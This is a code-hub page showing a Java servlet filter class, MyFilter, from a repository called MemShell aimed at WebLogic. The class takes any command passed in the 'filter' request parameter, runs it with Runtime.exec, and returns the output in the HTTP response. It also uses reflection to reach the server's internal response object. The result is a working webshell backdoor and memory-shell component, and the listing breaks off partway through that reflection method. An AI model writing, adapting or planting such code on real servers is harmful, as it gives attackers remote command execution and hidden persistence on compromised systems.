MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyFilter

Class MyFilter

WeblogicMemShell/src/main/java/com/axisx/MyFilter.java:12–72  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

10import java.lang.reflect.Field;
11
12public class MyFilter implements Filter {
13 @Override
14 public void init(FilterConfig filterConfig) throws ServletException {
15 System.out.println("Filter 创建");
16 }
17
18 @Override
19 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
20 HttpServletRequest req = (HttpServletRequest)servletRequest;
21 HttpServletResponse resp = getResponseFromRequest(req);
22 String cmd = req.getParameter("filter");
23 try {
24 String result = this.CommandExec(cmd);
25 resp.getWriter().println(result);
26 } catch (Exception e) {
27
28 }
29// filterChain.doFilter(servletRequest, servletResponse);
30 }
31
32 @Override
33 public void destroy() {
34 System.out.println("Filter 销毁!");
35 }
36
37 public String CommandExec(String cmd) throws Exception {
38 Runtime rt = Runtime.getRuntime();
39 Process proc = rt.exec(cmd);
40 InputStream stderr = proc.getInputStream();
41 InputStreamReader isr = new InputStreamReader(stderr);
42 BufferedReader br = new BufferedReader(isr);
43 String line = null;
44 StringBuffer sb = new StringBuffer();
45 while ((line = br.readLine()) != null) {
46 sb.append(line + "\n");
47 }
48 return sb.toString();
49 }
50
51 public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
52 HttpServletResponse var2 = null;
53
54 try {
55 Field var3 = var1.getClass().getDeclaredField("response");
56 var3.setAccessible(true);
57 var2 = (HttpServletResponse)var3.get(var1);
58 } catch (Exception var8) {
59 try {
60 Field var4 = var1.getClass().getSuperclass().getSuperclass().getDeclaredField("request");
61 var4.setAccessible(true);
62 Object var5 = var4.get(var1);
63 Field var6 = var5.getClass().getDeclaredField("response");
64 var6.setAccessible(true);
65 var2 = (HttpServletResponse)var6.get(var5);
66 } catch (Exception var7) {
67 }
68 }
69

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected